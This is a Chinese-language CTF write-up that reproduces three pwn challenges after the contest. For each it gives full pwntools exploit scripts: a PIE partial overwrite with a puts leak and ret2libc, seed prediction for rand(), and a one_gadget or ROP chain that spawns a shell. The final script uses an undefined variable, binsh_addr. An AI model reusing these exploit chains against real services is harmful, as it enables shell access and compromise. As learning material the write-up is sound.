赛后复现 比赛的时候脑子短路了(也是基本功不扎实),一题也做不出来,赛后花了1天的时间复现了一下,只能说水平差的还很多。
checkin_revenge 输入三个数字满足等式,还是没啥限制,随意构造即可
这里存在明显的栈溢出
但是这一题是开了PIE和RELRO的64位程序,所以我们不能再覆盖got表,
PIE 保护太烦人了,之前没做过栈溢出开PIE的(做题少),但是虽然PIE烦人,但是还是有弱点的:
PIE 保护的一个弱点就是pie不会随机化地址的低12位,通俗点说就是我们十六进制地址的后三位,这样我们才有“文章”可做
现在先整理一下思路:
我们的目的是得到libc中system和/bin.sh的地址
开启了地址随机化,每次运行的基址都不一样,所以得先得到每次程序运行的libc的基址,这里我们利用libc_start_main ,我们想办法得到程序中libc_start_main的地址,减去libc中的偏移,得到libc基址,进而获得system等的地址
为了得到libc基址,我们已经让程序正常运行了一次,那我们接下来就是要让程序再出现一次栈溢出漏洞,在这时截获它,让它运行system(’/bin/sh’), getshell
所以程序的运行地址我们要先泄露出来,有了它我们就能利用 plt表 泄露出 got表 内容。
具体做法是利用 put() 函数是打印一个字符串,直到遇到 ‘\x00 ‘才会停止打印,而我们输入的函数是 read() ,它不会帮我们添加 ‘\x00 ‘,所以我们能用这个点来泄露出 vlu() 的返回地址,即main函数里的地址,也就能得到程序的运行基址,注意到 vul() 的返回地址为 A89 ,而我们只能覆盖一个字节,开了PIE后只有最后三位是相同的,所以不能覆盖两个字节,所以我们只能回到 A7F 处,同样能达到我们再次栈溢出的目的
然后有了程序基址,我们正常利用puts的plt表 来调用puts泄露got表 内容,因为got表写的是libc函数地址,所以就等于我们得到了libc基址,然后就是64位正常做。
EXP:
from pwn import *context.log_level = 'debug' p = remote("172.16.68.4" , 10002 ) e = ELF("./checkin_revenge" ) a = str (1 ) b = str (2 ) c = str (3 ) off = 0x10 + 8 p.sendlineafter("Give me your a:" ,a) p.sendlineafter("Give me your b:" ,b) p.sendlineafter("Give me your c:" ,c) payload = "a" * off + "\x7f" p.send(payload) main_addr = u64(p.recvuntil('\x55' )[-6 :].ljust(8 ,'\x00' )) success("main:" + hex (main_addr)) code_base = main_addr & 0xfffffffffffff000 puts_plt = e.plt["puts" ] + code_base print ("puts_plt:" + hex (puts_plt))puts_got = e.got["puts" ] + code_base pop_rdi = 0x0000000000000b03 + code_base payload = 'a' * off + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) p.send(payload) puts_addr = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,"\x00" )) print ("puts_addr:" + hex (puts_addr))libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) base_addr = puts_addr - libc.symbols["puts" ] system_addr = base_addr + libc.symbols["system" ] binsh_addr = base_addr + libc.search("/bin/sh" ).next () success("system:" + hex (system_addr)) success("binsh:" + hex (binsh_addr)) payload = 'a' * off + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) p.sendline(payload) p.interactive()
guess 64位保护全开
主函数是输入一个文件名,然后程序会打开并读取它的前4个字节,将每个字节作为随机数种子,生成随机数。
题目的难点在我们不知道靶机上有啥文件,但是这同样也是一个漏洞。
非预期解: 随意输入一个文件名,因为不存在这个文件,所以打开文件失败,随机数种子是初始值 0 ,这样每次生成的随机数都是同样的,是一个固定值,利用 在相同libc库下由相同的随机数种子生成的随机数相同 这个点,我们可以很轻松’’猜’’出四次 ‘随机数’。
EXP:
from pwn import *from ctypes import * context.log_level = "debug" p = remote("172.16.68.4" , 10006 ) elf = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6' ) payload = '0.txt' p.sendafter('First of all, choose a file you like it.\n' ,payload) elf.srand(0 ) for i in range (4 ):payload = str (elf.rand()) p.sendlineafter("number:" ,payload) p.interactive()
正常解: 目前我们可以确定在目标靶机上的文件就是这个 guess程序本身 ,而guess程序是一个 ELF文件 ,它的前四个字节是一个固定值:0x7F454C46 ,接下来利用 在相同libc库下由相同的随机数种子生成的随机数相同 这个点模拟播种,生成随机数就好了。
EXP:
from pwn import *from ctypes import * context.log_level = "debug" p = remote("172.16.68.4" , 10006 ) elf = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6' ) payload = 'guess' p.sendafter('First of all, choose a file you like it.\n' ,payload) key = "7F454C46" for i in range (0 ,8 ,2 ): elf.srand(int (key[i:i+2 ],16 )) payload = str (elf.rand()) p.sendlineafter("number:" ,payload) p.interactive()
gudugudu 64位除了canary,其他保护全开
主函数的主要逻辑是让你输入需要排序的数的个数,然后依次输入这些数,将其逐个储存到栈上,然后将其通过一个冒泡排序算法,让大数置于栈上的高地址,小数置于低地址。
这道题给了我们printf函数的地址,我们可以通过它获得 libc基址 ,接下来就有两种方法了
方法一: 直接利用 One_gadget 一键getshell,这种方法我们只要有 **libc基址 就行了,不过也有缺点,就是要满足一定的条件,调试发现rax在 main()**返回时是 0 ,所以使用第一个地址,完美getshell!
EXP:
from pwn import *context.log_level = "debug" p = remote("172.16.68.4" ,10005 ) p.sendafter("Tell me your baby name :" ,'hacker' ) printf = (int (p.recvuntil('!' )[-13 :-1 ],16 )) success("printf:" + hex (printf)) libc = ELF("./x64_libc.so.6" ) libc_base = printf - libc.symbols['printf' ] one_gadget = 0x45216 + libc_base p.sendlineafter("And how many numbers do you want to sort :" ,str ('21' )) for i in range (21 ): p.sendlineafter("number :" ,str ('1' )) p.sendlineafter("number :" ,str (one_gadget)) p.interactive()
方法二: 利用 sytem(“/bin/sh”) getshell,但是用这种方法我们需要使用指令 pop rdi ; ret 来将 字符串 “/bin/sh” 存入 rdi ,这样我们就需要 程序的运行地址 了,但是我们从哪泄露它呢?
其实我们运行程序可以发现,当第一次输入时输入很短的字符串时,它会泄露出一些值——原因是 栈变量未初始化漏洞 ,调试发现这些值就是栈上的内容,而且可以利用它泄露出 main函数中的地址 ,即 程序的运行地址 。
那么类似上面的exp 我们输入 24个数字,前21个覆盖到 rbp ,最后三个为 pop rdi ; ret + binsh_addr + system_addr , 但是运行程序时我们会发现,binsh_addr 的值永远是大于 system_addr , 所以经过冒泡排序,binsh 就会跑到 system 后面,这样就让我们的 ROP 被破坏了。被这个点卡了半天,后来发现原来是漏了一个条件,ida可以找到出题人提供的 “/bin/sh” ,
因为这个地址在程序里所以值肯定比 libc里的 system 小,满足条件,这样就可以getshell 了。
EXP:
from pwn import *p = remote("172.16.68.4" ,10005 ) context.log_level = "debug" p.sendafter("Tell me your baby name :" ,'1' ) code_base = u64(p.recvuntil("," )[-7 :-1 ].ljust(8 ,'\x00' )) -0xb30 success("code_base:" + hex (code_base)) printf = (int (p.recvuntil('!' )[-13 :-1 ],16 )) success("printf:" + hex (printf)) libc = ELF("./x64_libc.so.6" ) libc_base = printf - libc.symbols['printf' ] system_addr = libc_base + libc.symbols["system" ] success("system:" + hex (system_addr)) pop_rdi = 0x0000000000000c23 + code_base p.sendlineafter("And how many numbers do you want to sort :" ,str ('24' )) for i in range (21 ): p.sendlineafter("number :" ,str ('1' )) p.sendlineafter("number :" ,str (pop_rdi)) p.sendlineafter("number :" ,str (binsh_addr)) p.sendlineafter("number :" ,str (system_addr)) p.interactive()